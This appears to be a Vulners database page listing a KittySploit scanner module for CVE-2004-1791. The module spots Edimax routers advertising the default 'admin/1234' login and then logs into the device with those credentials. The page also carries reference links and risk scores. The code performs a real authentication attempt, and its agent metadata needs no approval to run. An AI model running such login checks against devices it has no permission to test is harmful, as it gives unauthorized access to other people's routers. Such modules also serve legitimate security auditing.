Edimax Router - Default Credentials (admin/1234)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2004-1791 | 10 May 200504:00 | – | cve | |
| CVE-2004-1791 | 10 May 200504:00 | – | cvelist | |
| EUVD-2004-1785 | 7 Oct 202500:30 | – | euvd | |
| CVE-2004-1791 | 31 Dec 200405:00 | – | nvd | |
| HTTP Brute Force Logins With Default Credentials Reporting | 6 Jan 201700:00 | – | openvas | |
| Edimax Router Devices Default Credentials (HTTP) | 24 Mar 202500:00 | – | openvas | |
| CVE-2004-1791: Undefined Security Weakness | 10 May 200500:00 | – | rapid7 | |
| CVE-2004-1791 | 21 May 202523:12 | – | redhatcve |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Edimax router HTTP Basic default credentials admin:1234 (CVE-2004-1791)."""
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Edimax Router - Default Credentials (admin/1234)',
'description': (
'Detects Edimax (and similar) routers advertising Basic realm '
'"Default: admin/1234" and accepts login with those credentials (CVE-2004-1791).'
),
'author': ['KittySploit Team'],
'severity': 'high',
'tags': [
'web', 'scanner', 'cve', 'cve2004', 'edimax', 'router', 'iot',
'default-login', 'default-credentials', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 0.9,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.exploit-db.com/exploits/38056',
'https://nvd.nist.gov/vuln/detail/CVE-2004-1791',
],
'cve': 'CVE-2004-1791',
}
def run(self):
path = '/'
r1 = self.http_request(method='GET', path=path, allow_redirects=False)
if not r1 or r1.status_code != 401:
return False
www = r1.headers.get('WWW-Authenticate') or r1.headers.get('www-authenticate') or ''
if 'Basic realm=' not in www or 'Default: admin/1234' not in www:
# Some stacks put the realm hint only in body/headers blob
blob = www + '\n' + (r1.text or '')
if 'Default: admin/1234' not in blob:
return False
token = base64.b64encode(b'admin:1234').decode('ascii')
r2 = self.http_request(
method='GET',
path=path,
headers={'Authorization': f'Basic {token}'},
allow_redirects=False,
)
if not r2 or r2.status_code not in (200, 301, 302, 303, 307, 308):
return False
self.set_info(
severity='high',
reason='Edimax router default credentials accepted (admin/1234)',
path=path,
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
EPSS0.01708